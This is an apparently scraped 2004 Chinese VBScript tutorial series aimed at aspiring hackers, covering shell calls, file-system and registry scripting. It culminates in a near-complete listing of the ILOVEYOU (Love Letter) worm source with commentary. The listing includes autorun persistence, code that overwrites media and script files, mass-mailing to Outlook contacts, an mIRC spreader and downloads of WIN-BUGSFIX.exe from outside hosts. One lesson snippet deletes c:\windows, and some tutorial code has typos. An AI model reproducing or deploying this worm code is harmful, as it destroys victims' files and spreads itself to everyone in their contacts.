vbscript,jscript脚本编程教学(1)

by sssa2000

7/4/2004

论坛上好多朋友都问关于脚本的问题,正好最近对脚本比较有兴趣,就写点东西吧。首先说明一下,我的所有代码都是vbscript,jscript我没有研究过,不过我想也差不多。

关于最基础的语法比如变量的申明,分支,循环,函数的调用,等等这些我就不讲了,不懂得自己看一下。

1、我们的第一个vbs程序:还是那个老得掉牙的冬冬。

************************hello.vbs**************************

dim hello

hello=”hello world!”

wscript.echo hello

wscript echo “ this is my first vbs”

可以看出wscript.echo有两种用法,这个不难。

可以直接双击运行,可以在当前目录的命令行输入:

cscript hello.vbs

 

2、在脚本中调用其他的程序:

使用run()方法,在使用前必须先建立shell的实例

********************shell.vbs******************************************

set ws=wscript.createobject("wscript.shell")

ret=ws.run ("notepad" ,3,true)

if ret=0 then

wscript.echo “succeed!”

else 

wscript.echo “there is a error,the error number is:”

wscript.echo  cstr(ret)

end if 

***************************************************************************

这里run 有三个参数,第一个参数是你要执行的程序的路径

第二个程序是窗口的形式,0是在后台运行;

1表示正常运行

2表示激活程序并且显示为最小化

3表示激活程序并且显示为最大化

   一共有10个这样的参数我只列出了4个最常用的。

  第三个参数是表示这个脚本是等待还是继续执行,如果设为了true,脚本就会等待调用的程序退出后再向后执行。

  注意到没有,我在run的前面还有一个接受返回值的变量,一般来说如果返回为0,表示成功执行,如果不为0,则这个返回值就是错误代码,可以通过这个代码找出相应的错误。

 

3、inputbox 和msgbox

会vb的人对着两个东西应该很熟悉,用法也没什么差别

input=inputbox(“please enter you password”,”passwd”)

if input<>”1234”

then

msgbox  “you enter a wrong passwd”

end if 

当然你也可以给msgbox添加按钮,用一个变量接受用户的选择

例如:ret=msgbox “continue?”,vbyesnocancel 

返回值和常量对照如下:

vbok       1

vbcancel    2

vbabort     3

vbretry      4

vbignore    5

vbyes       6

vbno        7

 

4、错误处理

何vb一样用on error resume next

这个没什么好说的,如果遇到了错误就跳过继续执行下一句

当然这个方法很弱智,还需要有一个方法,vbscript提供了一个对象err对象

他有两个方法clear,raise

5个属性:description,helpcontext ,helpfile,number,source

我们可以利用err.number获得错误号例如

***********************err.vbs*****************************

on error resume next

a=11

b=0

c=a/b

if err.number<>0 then

wscript.echo err.number & err.description  & err.source

end if 

我们可以用err.raisel来手工抛出错误

比如我们要产生一个path not found的错误 告诉用户,他填写的路径不对

on error resume next

err.raise 76

msgbox  "error :" & err.description

err.clear

 

 

以上都是基础,今天就写到这里吧,好累哦,呵呵呵 如有转载注明出处。明天给大家讲文件系统吧。
vbscript脚本编程教程2

by sssa2000

7/7/2004

我们来看一看怎么利用fso来进行文件操作。Fso时vbs里进行文件操作的核心。作为黑客,不管学习什么语言,对文件的操作都应该是要了如指掌的,所以请大家仔细学习。

不说废话,先看fso由哪几个对象组成:

 

drive对象:包含储存设备的信息,包括硬盘,光驱,ram盘,网络驱动器

drives集合:提供一个物理和逻辑驱动器的列表

file  对象:检查和处理文件

files 集合:提供一个文件夹中的文件列表

folder对象:检查和处理文件夹

folders集合:提供文件夹中子文件夹的列表

textstream对象:读写文本文件

 

看看fso的方法:由于很多,所以我不会把每个的作用写出来,如果有不懂的,自己查一下msdn。不要说没有哦

bulidpath:把文件路径信息添加到现有的文件路径上

copyfile

copyfolder

createfolder

createtextfile

deletefile

deletefolder

dreveexits

fileexits

folderexists

getabsolutepathname:返回一个文件夹或文件的绝对路径

getbasename:返回一个文件或文件夹的基本路径

getdrive:返回一个dreve对象

getdrivename:返回一个驱动器的名字

getextensionname:返回扩展名

getfile:返回一个file对象

getfilename:返回文件夹中文件名称

getfolder

getparentfoldername:返回一个文件夹的父文件夹

getspecialfolder:返回指向一个特殊文件夹的对象指针

gettempname:返回一个可以被createtextfile使用的随机产生的文件或文件夹的名称

movefile

movefolder

opentextfile

 

好了,看到这里我想大家也明白了一大半,可能后面都不用我多说了,脚本就是这么简单,呵呵呵,还是继续把。

 

1、使用fso

由于fso不是wsh的一部分,所以我们需要建立他的模型

例如set fs=wscript.createobject(“scripting.filesystemobject”)

这样就建立了fso的模型。如果要释放的话也很简单,set fs=nothing

 

2、使用文件夹

创建:

在创建前我们需要检查是否存在,看一下程序

***************************createfolder.vbs*****************************

dim fs,s

set fs=wscript.createobject(“scripting.filesystemobject”)

if (fs.folderexists(“c:\temp”)) then

s=”is available”

else

s=”not exist”

set foldr=fs.createfolder(“c:\temp”)

end if 

删除、拷贝、移动

 

删除:

set fs=wscript.createobject(“scripting.filesystemobject”)

fs.deletefolder(“c:\windows”)

 

拷贝:

set fs=wscript.createobject(“scripting.filesystemobject”)

fs.copyfolder “c:\data” “d:\data”

注意,如果这个时候c:\data 和d:\data都存在,会出错,复制也就会停止,如果要强制覆盖,使用fs.copyfolder “c:\data” “d:\data”,true

 

移动

set fs=wscript.createobject(“scripting.filesystemobject”)

fs.movefolder “c:\data” “d:\data”

 

关于通配符:

我们可以使用统配符,来方便操作:

例如, fs.movefolder :c:\data\te*” , “d:\working”

注意到没有,我在目的路径最后没有使用“\” 也就是说我没有这样写:

fs.movefolder :c:\data\te*” , “d:\working\”

这样写的话,如果d:\working 目录不存在,windows就不会为我们自动创建这个目录。

 

还有一点,大家注意到没有 上面说的都没有涉及到folder对象,我们都是在利用fso提供的方法,当然利用folder一样可以的:

set fs= wscript.createobject(“scripting.filesystemobject”)

set f=fs.getfolder(“c:\data”)

f.delete  ‘删除。如果有子目录,也会被删除

f.copy “d:\working”,true    ‘拷贝到d:\working

f.move :”d:\temp”    ‘移动到d:\temp

 

特殊文件夹

一般指的就是系统文件夹:\windows\system32, 临时文件夹,windows文件夹

看下面,我们使用环境变量来获得windows目录,关于环境变量我们会在后面详细讲道,如果我忘记了 请大家提醒我

set fs=wscript.createobject(“scripting.filesystemobject”)

set wshshell=wscript.createobject(“wscript.shell”)

osdir=wshshell.expandenvironmentstrings(“%systemroot%”)

set f =fs.getfolder(osdir)

wscript.echo f

 

当然,还有简单的方法 那就是使用getspecialfolder()

这个方法使用3种值:

0  表示windows文件夹,相关常量是windowsfolder

1  系统文件夹,相关常量是systemfolder

2  临时目录,相关常量temporaryfolder

看下面的例子:

***********************************getspecialfolder***************************

set fs=wscript.createobject(“scripting.filesystemobject”)

set wfolder=fs.getspecialfolder(0) ‘返回windows目录

set wfolder=fs.getspecialfolder(1) ‘返回system32\

set wfolder=fs.getspecialfolder(2)'返回临时目录

 

3、使用文件

使用文件属性:

文件夹的属性我没有说,大家可以从文件属性里举一反三

文件属性常用的就是:

normal   0

readonly  1

hideen    2

system    4

 

set fs=wscript.createobject(“scripting.filesystemobject”)

set f=fs.gerfile(“d:\index.txt”)

f.attributes=f.attributes+1

 

这里由于不知道d:\index.txt的文件属性,所以会发生不可预测的结果,如果文件的属性是0,那么就会变成1。所以最好在改变属性前查询

 

创建

创建前需要检查文件是否存在,方法和前面说的文件夹的方法一样

*****************************file.vbs**********************************

set fs=wscript.createobject(“scripting.filesystemobject”)

if fs.fileexists(“c:\asd.txt”) then

s=” available”

else

s=not exist”

set f=fs.createtextfile(“c:\asd.txt”)

end if 

当然 我们也可以使用set f=fs.createtextfile(“c:\asd.txt”,true)

来强制覆盖已存在的文件。

 

复制移动删除文件

和文件夹一样 我们既可以使用fso提供的方法也可以用file对象

set fs=wscript.createobject(“scripting.filesystemobject”)

fs.copyfile “c:\asd.txt”,”d:\1\asd.txt”,true   ‘复制文件,如果已存在就强制覆盖

fs.movefile “c:\asd.txt”, “d:\”   ‘移动

fs.deletefile “c:\asd.txt”   ‘删除

 

好了,下一章我们就要学习文件的读写了,文件的读写是文件系统,尤其是黑客编程里面十分重要的一部分,今天打字可能有很多错误,大家看的时候仔细一点,不懂得多看看msdn, 要提高水平只有靠自己,别人是帮不了你的

 

Vbscript 脚本编程3     关于文件的读写

 

By sssa2000

7/9/2004

 

使用vbscript来读写文件,十分的方便,废话少说,切入正题。

 

1、打开文件

使用opentextfile方法

set fs =createobject(“scripting.filesystemobject”)

set ts=fs.opentextfile(“c:\1.txt”,1,true)

注意这里需要填入文件的完整路径,后面一个参数为访问模式

1为forreading

2为forwriting

8为appending

第三个参数指定如果指定文件不存在,是否创建。

 

2、读取文件

读取文件的方法有三个

read(x)读取x个字符

readline读取一行

readall全部读取

例如:

set fs =createobject(“scripting.filesystemobject”)

set ts=fs.opentextfile(“c:\1.txt”,1,true)

value=ts.read(20)

line=ts.readline

contents=ts.readall

 

这里还要介绍几个指针变量:

textstream对象的atendofstream属性。当处于文件结尾的时候这个属性返回true.我们可以用循环检测又没有到达文件末尾。例如:

set fs =createobject(“scripting.filesystemobject”)

set f=fs.getfile(“c:\1.txt”,1,false)

set ts=f.openastextstream(1,0)

do while ts.atendofstream<>true

f.read(1)

loop

 

还有一个属性,atendofline,如果已经到了行末尾,这个属性返回true.

Textstream对象还有两个有用的属性,column和line.

在打开一个文件后,行和列指针都被设置为1。

看一个综合的例子吧:

*******************************read.vbs******************************

set fs =createobject(“scripting.filesystemobject”)

set f=fs.opentextfile(“c:\1.txt”,1,true)

do while f.atendofstream<>true

data=””

for a=1 to 5

if f.atendofstream<>true then

data=data+f.readline

end if 

next

dataset=dataset+1

wscript.echo “data set” &dataset & ”:” & data

loop

 

最后说一下在文件中跳行

skip(x)  跳过x个字符

skipline  跳过一行

用法也很简单 和前面一样,就不说了。

 

 

3、写文件

可以用forwriting和forappending方式来写

写有3各方法:

write(x)

writeline

writeblanklines(n) 写入n个空行

 

来看一个例子:

*****************************************************************

data=”hello, I like script programing”

set fs =createobject(“scripting.filesystemobject”)

if (fs.fileexists(“c:\2.txt”)) then

set f =fs.opentextfile(“c:\2.txt”,8)

f.write data

f.writeline data

f.close

else

set f=fs.opentextfile(“c:\2.txt”,2, true)

f.writeblanklines 2

f.write data

f.close

end if 

注意 写完文件以后一定要关闭!!!!!!!  还有就是,如果要读文件又要写文件,读完之后一定也要记得关闭,这样才能以写的方式打开。

 

好了 关于文件都说完了,实际运用中还有可能牵扯到关于字符串的操作。

后面的1章里面,我打算写一点驱动器和注册表的内容,脚本编程内容也很丰富,我也只讲关于黑客方面的。今天好累啊,还有就是请大家不要在论坛灌水了,我每天都删贴,这样也不好,论坛是大家的,我每天写一些原创的东西也就是为了让我们的论坛和别的论坛有些不同,我一个人力量有限,还要靠大家的力量,我打算在论坛上找几个人一论坛的名义一起编个软件,这样我们的论坛也算有点名声。

很晚了,休息了。

#########################################################################################################################
Vbscript编程5

注册表,修改注册表是编程的一个基本技能,脚本编程当然也不例外。

这里,我就不再讲解注册表的基本结构。

 

1、读注册表的关键词和值:

可以通过把关键词的完整路径传递给wshshell对象的regread方法

例如:

set ws=wscript.createobject("wscript.shell")

v=ws.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\nwiz")

wscript.echo v

 

2、写注册表

有读就有写了,使用wshshell对象的regwrite方法

看例子:

path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"

set ws=wscript.createobject("wscript.shell")

t=ws.regwrite(path & "jj","hello")

 

这样就把

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jj这个键值改成了hello.不过要注意:这个键值一定要预先存在。

 

如果要创建一个新的关键词,同样也是用这个方法。

path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love\"

set ws=wscript.createobject("wscript.shell")

val=ws.regwrite(path,"nenboy")

val=ws.regread(path)

wscript.echo val

 

删除关键字和值

使用regdelete方法,把完整的路径传递给regdelete就可以了

例如

val=ws.regdel(path)

注意,如果要删除关键词的值的话 一定要在路径最后加上“\”,如果不加斜线,就会删除整个关键词。

 

 

好了 ,最基本的脚本编程也就讲完了,其实脚本编写也很简单,你们看看下面这个曾经很出名的 Love Letter病毒的源代码, 除了邮件那部分我没讲,其他的都是一目了然吧?

rem barok -loveletter(vbe)  
rem by: spyder / [email protected] / @GRAMMERSoft Group / Manila,Philip 
pines 
' 注释:程序作者的签名(可能) 

On Error Resume Next 
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow 
eq="" 
ctr=0 
Set fso = CreateObject("Scripting.FileSystemObject") 
' 注释:FileSystemObject是M$ VBVM系统中最危险的部分,它的功能十分强大 

' 从病毒使用FSO可以知道,通过修改注册表,可以轻易防止 Love Letter发作。 


set file = fso.OpenTextFile(WScript.ScriptFullname,1)   '返回当前脚本的完整路径 
vbscopy=file.ReadAll 
main() 
' 注释 - 程序初始化完成。 

sub main() 
On Error Resume Next 
dim wscr,rr 
set wscr=CreateObject("WScript.Shell") 
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scriptin 
g Host\Settings\Timeout") 
if (rr>=1) then 
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting 
Host\Settings\Timeout",0,"REG_DWORD" 
' 注释 - 防止操作超时造成的程序终止。 
' 应该说,编写病毒的程序员考虑到了可能发生的问题,这一点值得所有的编程 
者借鉴。 
end if 
Set dirwin = fso.GetSpecialFolder(0) 
Set dirsystem = fso.GetSpecialFolder(1) 
Set dirtemp = fso.GetSpecialFolder(2) 
' 获取系统关键文件夹的名称 
' VB编程时可以用。 

Set c = fso.GetFile(WScript.ScriptFullName)     '返回当前脚本的完整路径 
c.Copy(dirsystem&"\MSKernel32.vbs")             'Copies a specified file or folder from one location to another. 
c.Copy(dirwin&"\Win32DLL.vbs") 
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") 
' 复制自身到关键目录中备用。 
' 文件名并不是很好。太容易被发现了。 

regruns() 
html() 
spreadtoemail() 
listadriv() 
end sub 


sub regruns() 
' 修改注册表,以便自动装载病毒程序 
' 预防:经常检查注册表中的这一分支。 
' 已知的方法还有把HTA放入Startup文件夹。病毒程序使用的方法更先进, 
' 因为它不会因为语言问题而失效。 
On Error Resume Next 
Dim num,downread 
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio 
n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs" 
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio 
n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" 
downread="" 
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explore 
r\Download Directory") 
if (downread="") then 
downread="c:\" 
end if 
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then 
Randomize 
num = Int((4 * Rnd) + 1) 
if num = 1 then 
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", 
"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj 
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" 
elseif num = 2 then 
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", 
"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe 
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" 
elseif num = 3 then 
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", 
"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm 
POhfgER67b3Vbvg/WIN-BUGSFIX.exe" 
elseif num = 4 then 
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", 
"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh 
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B 
UGSFIX.exe" 
end if 
end if 
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then 
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio 
n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" 
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main 
\Start Page","about:blank" 
end if 
end sub

sub folderlist(folderspec) 
' 遍历文件夹 
On Error Resume Next 
dim f,f1,sf 
set f = fso.GetFolder(folderspec) 
set sf = f.SubFolders               '得到某一特定文件夹的所有子文件夹,包括系统隐藏文件夹        
for each f1 in sf                   'f1为每一个子文件夹的对象 
infectfiles(f1.path)                '传染文件的操作 
folderlist(f1.path)                 '再次进行文件夹遍历 
next 
end sub


sub listadriv 
' 遍历所有驱动器。 
On Error Resume Next 
Dim d,dc,s 
Set dc = fso.Drives 
For Each d in dc 
If d.DriveType = 2 or d.DriveType=3 Then    '2.3分别为硬盘和网络共享盘 
folderlist(d.path&"\") 
end if 
Next 
listadriv = s 
end sub

function fileexist(filespec) 
' 判断文件是否存在 
' 纯粹从技术角度讲,这段程序写的不怎么样。 
' 不用写这么长就能够实现相同的功能 
On Error Resume Next 
dim msg 
if (fso.FileExists(filespec)) Then 
msg = 0 
else 
msg = 1 
end if 
fileexist = msg 
end function


function folderexist(folderspec) 
' 判断文件夹是否存在 
' 和上一段程序一样臭。 
On Error Resume Next 
dim msg 
if (fso.GetFolderExists(folderspec)) then 
msg = 0 
else 
msg = 1 
end if 
fileexist = msg 
end function

 


sub infectfiles(folderspec) 
' 执行传染文件的操作。 
On Error Resume Next 
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 
set f = fso.GetFolder(folderspec) 
set fc = f.Files                   '得到某一特定文件夹的所有文件,包括系统隐藏文件 
for each f1 in fc 
ext=fso.GetExtensionName(f1.path)  '得到扩展名 
ext=lcase(ext)                     '转变为小写 
s=lcase(f1.name) 
if (ext="vbs") or (ext="vbe") then 
set ap=fso.OpenTextFile(f1.path,2,true) 
ap.write vbscopy                   'vbscopy=file.ReadAll 
ap.close 
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext= 
"sct") or (ext="hta") then 
set ap=fso.OpenTextFile(f1.path,2,true) 
ap.write vbscopy 
ap.close 
bname=fso.GetBaseName(f1.path) 
set cop=fso.GetFile(f1.path) 
cop.copy(folderspec&"\"&bname&".vbs") 
fso.DeleteFile(f1.path) 
elseif(ext="jpg") or (ext="jpeg") then 
set ap=fso.OpenTextFile(f1.path,2,true) 
ap.write vbscopy 
ap.close 
set cop=fso.GetFile(f1.path) 
cop.copy(f1.path&".vbs") 
fso.DeleteFile(f1.path) 
elseif(ext="mp3") or (ext="mp2") then 
set mp3=fso.CreateTextFile(f1.path&".vbs") 
mp3.write vbscopy 
mp3.close 
set att=fso.GetFile(f1.path) 
att.attributes=att.attributes+2 
end if 
if (eq<>folderspec) then 
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="scri 
pt.ini") or (s="mirc.hlp") then 
set scriptini=fso.CreateTextFile(folderspec&"\script.ini") 
scriptini.WriteLine "[script]" 
scriptini.WriteLine ";mIRC Script" 
scriptini.WriteLine "; Please dont edit this script... mIRC will corru 
pt, if mIRC will" 
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run 
correctly. thanks" 
' 病毒作者的英文恐怕没学好……不过,这样吓唬人也够损的了。 
' 这里提醒各位注意,不要在乎那些吓人的文字,仔细观察就会发现漏洞其实不 
少。 
scriptini.WriteLine ";" 
scriptini.WriteLine ";Khaled Mardam-Bey" 
scriptini.WriteLine ";http://www.mirc.com" 
scriptini.WriteLine ";" 
scriptini.WriteLine "n0=on 1:JOIN:#:{" 
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" 
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FO 
R-YOU.HTM" 
scriptini.WriteLine "n3=}" 
' 注意,这样做的结果是,MIRC也能够传染病毒。 
scriptini.close 
eq=folderspec 
end if 
end if 
next 
end sub

 


sub regcreate(regkey,regvalue) 
' 修改注册表(创建键值) 
' 这个程序似乎是微软的示范程序。 
Set regedit = CreateObject("WScript.Shell") 
regedit.RegWrite regkey,regvalue 
end sub


function regget(value) 
' 这个程序似乎也是微软的示范程序。(WSH示范,在Windows文件夹) 
Set regedit = CreateObject("WScript.Shell") 
regget=regedit.RegRead(value) 
end function

 


sub spreadtoemail() 
' 通过电子邮件扩散 
On Error Resume Next 
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad 
set regedit=CreateObject("WScript.Shell") 
set out=WScript.CreateObject("Outlook.Application") 
' 病毒的局限:只支持Outlook,而Outlook Express则不支持。 
set mapi=out.GetNameSpace("MAPI") 
for ctrlists=1 to mapi.AddressLists.Count 
set a=mapi.AddressLists(ctrlists) 
x=1 
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) 
if (regv="") then 
regv=1 
end if 
if (int(a.AddressEntries.Count)>int(regv)) then 
for ctrentries=1 to a.AddressEntries.Count 
malead=a.AddressEntries(x) 
regad="" 
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&male 
ad) 
if (regad="") then 
set male=out.CreateItem(0) 
male.Recipients.Add(malead) 
male.Subject = "ILOVEYOU" 
' 病毒得名的原因 
' 见到这样的邮件,肯定是病毒。 
' 头脑正常的人恐怕不会这样直白的。 
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from m 
e." 
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") 
male.Send 
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1, 
"REG_DWORD" 
end if 
x=x+1 
next 
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre 
ssEntries.Count 
else 
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre 
ssEntries.Count 
end if 
next 
Set out=Nothing 
Set mapi=Nothing 
end sub 
sub html 
' 从技术角度说,这段程序写得很漂亮,原因在于充分地利用了 Outlook 的资源 
' 值得编写程序的借鉴。 
' 程序中间的_符号是连接线,所以注释写在这里。 
' 程序中无效语句很多,浪费了不少空间。 
On Error Resume Next 
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 
dta1="LOVELETTER - HTML<?-?TITLE><META NAME=@-@Gene  <br>rator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _  <br>"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @G  <br>RAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _  <br> <br>"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is go  <br>od...@-@>"&vbcrlf& _  <br>"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LO  <br>VE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _  <br>"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YO  <br>U.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@  <br>>"&vbcrlf& _  <br>"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to r  <br>ead this HTML file<BR>- Please press #-#YES#-# button to Enable Active  <br>X<?-?p>"&vbcrlf& _  <br>"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>--------  <br>--z--------------------z----------<?-?MARQUEE> "&vbcrlf& _  <br>"<?-?BODY><?-?HTML>"&vbcrlf& _  <br>"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _  <br>"<!--?-??-?"&vbcrlf& _  <br>"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight  <br>;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _  <br>"?-??-?-->"&vbcrlf& _  <br>"<?-?SCRIPT>"&vbcrlf& _  <br>"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _  <br>"<!--"&vbcrlf& _  <br>"on error resume next"&vbcrlf& _  <br>"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _  <br>"aw=1"&vbcrlf& _  <br>"code="  <br>dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf&  <br>_  <br>"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _  <br>"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _  <br>"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _  <br>"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _  <br>"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf  <br>& _  <br>"wri.write code4"&vbcrlf& _  <br>"wri.close"&vbcrlf& _  <br>"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf&  <br>_  <br>"if (err.number=424) then"&vbcrlf& _  <br>"aw=0"&vbcrlf& _  <br>"end if"&vbcrlf& _  <br>"if (aw=1) then"&vbcrlf& _  <br>"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _  <br>"window.close"&vbcrlf& _  <br>"end if"&vbcrlf& _  <br>"end if"&vbcrlf& _  <br>"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _  <br>"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windo  <br>ws^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.v  <br>bs@-@"&vbcrlf& _  <br>"?-??-?-->"&vbcrlf& _  <br>"<?-?SCRIPT>"  <br>dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")  <br>dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")  <br>dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")  <br>dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")  <br>dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")  <br>dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")  <br>dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")  <br>dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")  <br>set fso=CreateObject("Scripting.FileSystemObject")  <br>set c=fso.OpenTextFile(WScript.ScriptFullName,1)  <br>lines=Split(c.ReadAll,vbcrlf)  <br>l1=ubound(lines)  <br>for n=0 to ubound(lines)  <br>lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))  <br>lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))  <br>lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))  <br>if (l1=n) then  <br>lines(n)=chr(34)+lines(n)+chr(34)  <br>else  <br>lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"  <br>end if  <br>next  <br>set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")  <br>b.close  <br>set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)  <br>d.write dt5  <br>d.write join(lines,vbcrlf)  <br>d.write vbcrlf  <br>d.write dt6  <br>d.close  <br>end sub <br> <div class="clearfix"> <span id="art_bot" class="jbTestPos"></span> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1176165397443981312"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(vbscript,jscript脚本编程教学(1))</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1835514462770130944.htm" title="斤斤计较的婚姻到底有多难?" target="_blank">斤斤计较的婚姻到底有多难?</a> <span class="text-muted">白心之岂必有为</span> <div>很多人私聊我会问到在哪个人群当中斤斤计较的人最多?我都会回答他,一般婚姻出现问题的斤斤计较的人士会非常多,以我多年经验,在婚姻落的一塌糊涂的人当中,斤斤计较的人数占比在20~30%以上,也就是说10个婚姻出现问题的斤斤计较的人有2-3个有多不减。在婚姻出问题当中,有大量的心理不平衡的、尖酸刻薄的怨妇。在婚姻中仅斤斤计较有两种类型:第一种是物质上的,另一种是精神上的。在物质与精神上抠门已经严重的影响</div> </li> <li><a href="/article/1835513803861749760.htm" title="机器学习与深度学习间关系与区别" target="_blank">机器学习与深度学习间关系与区别</a> <span class="text-muted">ℒℴѵℯ心·动ꦿ໊ོ꫞</span> <a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a> 